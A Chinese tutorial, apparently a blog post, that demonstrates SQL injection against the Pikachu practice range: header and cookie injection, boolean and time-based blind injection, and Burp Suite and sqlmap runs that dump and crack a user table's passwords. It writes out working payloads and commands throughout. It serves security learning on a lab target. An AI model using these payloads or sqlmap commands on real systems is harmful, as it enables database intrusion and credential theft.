今天我们看一下http header注入
可以看到这是一个登录界面,点一下提示,得到账号密码,
登录后显示我们的各种信息,当我们输入了账号密码,后端为了确认我们的身份信息,会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞
这里我抓包给大家演示,从上面和下面,可以看出返回的页面获取了我们的user-agent字段等,多以我们就可利用这个字段了进行注入
我们先把该字段的内容全部删掉,输入一个单引号
很明显,这里存在sql注入漏洞,依据昨天的方法,构造闭合payload:
1' or updatexml (1,concat(0x7e,database()),0) or ' ,成功的到我们想要的信息
在进行前端页面跳转时客户端会进行cookie校验,所以我们还可以进行对cookie进行注,payload:
admin' and updatexml(1,concat(0x7e,database()),0)#
依据pikachu靶场,接下拉我们就到了盲注
盲注分为俩种:
- boolean(布尔)盲注
- time(时间)盲注
首先我们来看看布尔盲注,特点:
- 没有报错信息显示
- 正确的输入还是错误的输入,只显示了俩种情况
- 在正确的输入下,输入and 1=1/and 1=2可以判断
我先来简单演示一下,一会将原理。输入vince,这是数据库中有的用户,返回了对应的信息
输入xxx
输入vince' or 1=1 #,界面同上,输入vince' and 1=1#,则会输入对应的信息,输入vince' and 1=2#,同样用户不存在,我们再试试1' or updatexml (1,concat(0x7e,database()),0) or ',同样用户不存在
可以看出,正确会显示用户信息,错误,显示用户不存在,再无其他返回
那么我们该怎么操作呢
我们先查询数据库,并且查出第一个字符
再将它转换成ASCII
这样输入我们是看不到数值的,就要进行判断,猜,返回为0,即错误,通时我们到靶场里演示
payload:kobe' and ascii(substr(database(),1,1))>113#
这里我们就是不断的去猜测,不断地去试,到这我们就可以猜到等于112
payload:kobe' and ascii(substr(database(),1,1))>111#
但是我们不知道返回的字符串有多长,就要用到length()函数
同样我们需要去猜
payload:kobe' and length(database())>6#
同样去得出表名就是将database(),替换成其他的查询语句
payload:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))>110# m的ASCII是109
接下来是时间盲注
这里我们发现不管我们提交的是正确的还是错误的,都只返回一个页面
这时候我们是不是没有办法了呢,当然不是啊,先展示payload:
kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
给大家解释一下,if()函数,第一个参数是判断语句,如果正确,执行第二个,反之执行第三个,sleep()函数其中的参数是5,当然也可以是其他的,当前面的语句正确,页面会在5秒后返回,大家可以实践看看,我们所修改的就是a,替换其他字符,当替换成p时,我们可以很明显的看到页面过了一会 才返回结果
可以看到SQL注入手注有时候十分麻烦且费时间,这时在我们理解了原理的基础上就可以使用工具来帮助我们去进行SQL注入,我这里只介绍俩个:
- burp suite(半自动)
- sqlmap(全自动)
这俩工具去哪里下呢,可以选择使用kali,它里面自带了许多的工具,其中就包括,burp suite和sqlmap,kali的安装可以看我往期博客,里有写
BURP SUITE工具
我们还是用字符型注入来演示,抓包,发送到intruder,进行暴力破解数据库里的表
payload:kobe' and exists(select * from aa)#
我们看到当这个表不存在时,后面会有doesn't exist,这里就可以做一个匹配
可以攻击了,我们可以看到member是正确的表,所以其他的都返回了1,唯独他没有,即member是正确的
依据这个原理,我们就可以爆破出其他的表,和字段数据
SQLMAP工具
sqlmap的功能十分强大,用法也很多,我们这里只做一些简单演示
之前我们对盲注很是头疼,现在我们就可以直接秒
在使用工具之前我们得确定虚拟机是可以,ping通物理机,因为我的靶场搭在了物理机,如果你的靶场搭在了其他的虚拟机里,那么kali必须可以ping通那台虚拟机
在输入网址之前我们需要输入一点东西,这里我输入111,然后查询
sqlmap.py -u "网址" 这一条命令可以检测是否有SQL注入漏洞
其中出现了许多询问,自行解决
运行结束后会有个结论,说明了注入点是name,第一个是,基于时间的盲注,我们明明弄的是布尔盲注,不懂
第二个是联合查询,并且都有一个payload去证明漏洞存在
sqlmap.py -u "网址" --current-db 这个用来爆出数据库名称,这个过程很快
获取表的名称
sqlmap.py -u "网址" -D pikachu --tables
获取字段名
sqlmap.py -u "网址" -D pikachu -T member --columns
最后获取数据 -C 指定字段
sqlmap.py -u "网址" -D pikachu -T member -C username,pw --dump
他发现pw字段的内容,经过hash加密,当然这个工具可以进行解密
这个意思就是保存在一个文件中后续使用其他的工具去处理,我选择n
是否通过字典的方式进行暴力破解,y
1是自带的字典,2是自定义的字典,3是自定义的文件,我们选1就行
使用密码后缀的方式进行匹配,这种方式比较慢,但是比较准确,这里我选n
最终结果
关于SQL注入的内容我们先学到这里,其他的注入类型我们日后再去学习